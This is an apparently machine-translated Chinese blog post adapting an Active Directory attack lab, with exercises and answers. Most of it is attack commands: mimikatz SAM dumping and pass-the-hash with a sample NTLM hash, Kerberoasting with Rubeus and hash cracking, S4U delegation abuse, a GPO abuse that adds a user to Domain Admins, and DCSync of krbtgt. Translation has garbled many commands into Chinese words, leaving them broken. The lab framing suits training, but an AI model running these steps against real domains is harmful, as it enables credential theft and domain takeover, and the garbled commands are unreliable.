1. 程式人生 > 其它 >Active-Directory-Security-101 手冊

Active-Directory-Security-101 手冊

後置知識

剛入門的小夥伴京東或者淘寶買這本書可以去看看

Windows Server 2012 R2系統配置指南_戴有偉編著

文章是根據https://github.com/cfalta/adsec改編的。

環境搭建

https://github.com/cfalta/adsec/tree/main/lab-setup

  • DC-Windows 2019
  • 使用者傑克-Windows 2019
  • SqlServer-Windows 2019

配置域控

新增一個網絡卡,三個虛擬機器使用這個網絡卡設定指定ip我是直接複製虛擬機器,需要更改mac地址和sid還需要更改sid可以使用系統內建的工具sysprep或者另外一個newsid工具https:// newsid.softag.com/download

在三臺機器上以管理員許可權執行以下命令。












  • 關閉防火牆
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
  • 關閉Windows Defender
解除安裝-WindowsFeature -Name Windows-Defender

下載自動化指令碼輔助安裝
https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts

執行createdomain指令碼,自己修改裡面的域名稱。
這裡應該不能一步完成
先執行

安裝-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools

重啟之後繼續執行。重啟後執行這個檔案功能就是根據json檔案去自動新增使用者和組等等。









配置域內機

在兩臺成員機器上使用以下兩個域賬號註冊

約翰·多伊約翰P@ssw0rd
李小龍流血鐵拳真棒!


user1這臺用john認證user2機器用blee登入

攻擊機器準備

用john登入user1這臺機器,當做點,再分配一張網絡卡,讓他出網。
預設工具包下載地址
https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools

獵犬安裝及配置

谷歌一下

資訊收集


匯入電源模組

cd C: \a ttacker-tools
cat -raw " .\PowerView.ps1 "  | 
交換器

獲取當前域的基本資訊和域控位置

獲取域
獲取域控制器


檢視有多少電腦和域內使用者

獲取域計算機
獲取域使用者

過濾出域管出來

獲取域使用者|  ? { $_ .memberof -like " *域管理員* " }

獲取域使用者|  ? { $_ .memberof -like " *域管理員* " } |  選擇 相同的帳戶名


課後習題

參考答案我會選擇最後面哦

  1. 域裡有多少臺計算機以及它們在什麼上面執行?
  2. 域有多少使用者?顯示所有屬性查詢語句進行,以表格形式呈現給使用者,只有相同的使用者名稱、顯示名、描述和最後一次密碼更改的時間。
  3. 你能識別出哪些自定義的管理員組?以通用方式更改上面的powershell,只能返回自定義管理組。
  4. 找到對應管理員組的成員,這些使用者上一次設定的密碼是什麼時候?
  5. 有快速識別出域中服務帳戶的方法嗎?寫一個powershell查詢,所有簡單的服務帳戶。

NTLM的利用

  • 模仿
  • psexec

需要管理員許可權,使用本地管理員使用者登入

特權::除錯
令牌::提升
lsadump::sam

獲得到管理員雜湊
7dfa0531d73101ca080c7379a9bff1c7pth 攻擊

sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab

psexec.exe \\ user2 cmd

課後習題

  1. mimikatz 執行"privilege::debug"和"token::elevate"的目的是什麼?為什麼需要執行它們?
  2. 以李小龍的身份登入1。使用您在上面的使用者的知識。 john 從記憶體中遠端提取幫助李小龍的 NTLM 雜湊。
  3. 如何解決 PTH 問題,請講清楚原因。
  4. 是否有可能(可能會)完全不是NTLM?解釋你的理由。

Kerberos-烘焙

預習資料網路——AS-REP Roasting
載入外掛

cd C: \a ttacker-tools
貓生的。\ PowerView.ps1 | 交換器
貓生的。\I nvoke-Rubeus.ps1 | 交換器

查詢SPN,獲得服務使用者

獲取域使用者-SPN |  選擇 samaccountname、 description、pwdlastset、serviceprincipalname

Rubeus 有一個統計 kerberos 資料的功能

Invoke-Rubeus -Command " kerberoast /stats "

獲取目標賬戶的TGS

Invoke-Rubeus -Command " kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt "

這裡的指令碼是base64之後通過powershell記憶體載入

函式 呼叫-Rubeus([string]$Command)
{
$Message = " base64 " ;

$Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String( $Message ))
[Rubeus.Program]::Main( $Command .Split( "  " ))
}

破解TGS

. \j ohn.exe .. \. . \k rb5tgs.txt --wordlist=.. \. . \e xample.dict --rules=passphrase-rule2

課後習題

  1. 描述一下您認為最好的緩解技術,並解釋其原因。
  2. 還有一個使用者會受到 ASREP 的影響,請找出來。
  3. 解釋一下TGS vs. ASREP烘焙

Kerberos(委託)

之前設定的時候改json裡面的資料,沒有域改了委派使用者


Get-DomainUser -TrustedToAuth

視委派的目標

Get-DomainUser -TrustedToAuth |  選擇 -ExpandProperty msds-allowedtodelegateto


執行這個攻擊的條件就是要知道使用者的密碼才行
生成hash

Invoke-Rubeus -Command " hash /password:Amsterdam2015 /domain:wing.lab /user:service1 "

Rubeus 允許在新的登入會話中啟動 powershell。只有在這個時候我們即將的票證會話中,不會干擾使用者john 已經的kerboers 票證。使用s4u 請求一個TGS 模擬域管理使用者Bruce(bwillis) )攻擊user1。我們請求3個不同服務的票證CIFS將用於SMB訪問HOST/RPCS forWMI





呼叫-魯伯-Command  S4U /使用者:服務1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab / PTT 
呼叫-魯伯-Command  S4U /使用者:服務1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser: bwillis /msdsspn:host/user1.wing.lab / PTT 
呼叫-魯伯-Command  S4U /使用者:服務1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab / PTT 

檢視檢查的報告自己前面
我設定錯了,委派的目標應該設定成user2,user1 是,但都一樣。

ls \\ user1.wing.lab \C $

通過wmi控制user1

Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com

課後習題

  1. 在上面的操作中,您通過SMB和WMI獲得了伺服器使用者的讀取許可權。現在通過這兩個協議來執行。目標是執行以下命令,將使用者john新增到本地管理組
  2. 試點模擬域管理員使用者查克·諾里斯不是“布魯斯·威利斯。有什麼作用”


ACL攻擊

資訊收集

貓生的。\S harpound.ps1 | 交換器
Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
  • CollectionMethod Dc只表示僅從域控收集資料。從opsec的角度來看,這樣比較好,因為是流量正常。
  • Stealth單執行緒啟動。速度較慢,但安全。
  • PrettyJson 格式化.json檔案。
  • NoSaveCache 不儲存儲存檔案。


啟動血犬下載社群版的neo4jhttps://neo4j.com/download-center/#releases




❯ jdk11
❯ ./neo4j 開始



先把service1標記為已陷陷點這裡點選這裡使用者對域控的組策略有可訪問許可權,通過組策略利用,攻擊DC需要先以service1的身份登入







runas /user:wing.lab \s ervice1 powershell
. \S harpGPOAbuse.exe --AddComputerTask --TaskName " Update " --Author contoso \a dminuser --Command " cmd.exe " --Arguments ' /c net group \"Domain Admins\" john /ADD ' --GPOName 預設域控制器策略 --force




寫完以後,等管理員更新組策略才有可能觸發。
手工弄弄。提權成功登陸到域控。




課後習題

  • acl 攻擊有哪些利用工具?

許可權維持

許可權維持的東西比較多

  • 金銀筆記本
  • 後門
  • 等等等等


一般DC許可權就先執行

lsadump::dcsync /user:krbtgt

所有收到使用者hash,也可以作為後門。

課後習題

  • 自主學習這些許可權維持方法的原理。

參考答案

我做的特別對,有錯誤請留言。

資訊收集

powerview3.0 技巧
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

  1. 域裡有多少臺計算機以及它們在什麼上面執行?

  1. 域有多少使用者?顯示所有屬性查詢語句進行,以表格形式呈現給使用者,只有相同的使用者名稱、顯示名、描述和最後一次密碼更改的時間。

  1. 你能識別出哪些自定義的管理員組?以通用方式更改上面的powershell,只能返回自定義管理組。
Get-DomainGroupMember -Identity 域管理員 -Recurse

  1. 找到對應管理員組的成員,這些使用者上一次設定的密碼是什麼時候?

  1. 有快速識別出域中服務帳戶的方法嗎?寫一個powershell查詢,所有簡單的服務帳戶。
獲取域使用者-SPN | 選擇 serviceprincipalname,userprincipalname,pwdlastset,lastlogon

NTLM

獼猴桃命令大全

  1. mimikatz 執行"privilege::debug"和"token::elevate"的目的是什麼?為什麼需要執行它們?
privilege::debug - 提升為管理員許可權
token::elevate - 獎勵獎勵,獲得其他使用者的獎勵系統許可權
  1. 以李小龍的身份登入1。使用您在上面的使用者的知識。 john 從記憶體中遠端提取幫助李小龍的 NTLM 雜湊。
lsadump::dcsync /domain:wing.lab /user:bruce

轉儲所有資料
lsadump::dcsync /domain:wing.lab /all /csv
  1. 如何解決 PTH 問題,請講清楚原因。
  • 打上打kb2871997禁止並且SID=500的管理員使用者
  • 監控日誌
  1. 是否有可能(可能會)完全不是NTLM?解釋你的理由。
  • 審查收到的 NTLM 調查:允許對所有帳戶的審查
  • 僅傳送NTLMv2響應。

第四點我不太確定。

Kerberos(烘焙)

  1. 描述一下您認為最好的緩解技術,並解釋其原因。
  • 禁止使用者開啟Do not require Kerberos preauthentication
  • 禁止弱口令
  1. 還有一個使用者會受到 ASREP 的影響,請找出來。

Get-DomainUser -PreauthNotRequired -Verbose

  1. 解釋一下TGS vs. ASREP烘焙

https://www.4hou.com/posts/YVyM

Kerberos(委託)

  1. 在上面的操作中,您通過SMB和WMI獲得了伺服器使用者的讀取許可權。現在通過這兩個協議來執行。目標是執行以下命令,將使用者john新增到本地管理組:
  • psexec
wmic /node:user1 process call create " cmd.exe /c net localgroup Administrators john /add "
  1. 試點模擬域管理員使用者查克·諾里斯不是“布魯斯·威利斯。有什麼作用?”

可以攻擊域控

訪問控制列表

acl 攻擊有哪些利用工具?

  • github.com

許可權維持

自主學習這些許可權維持的原理。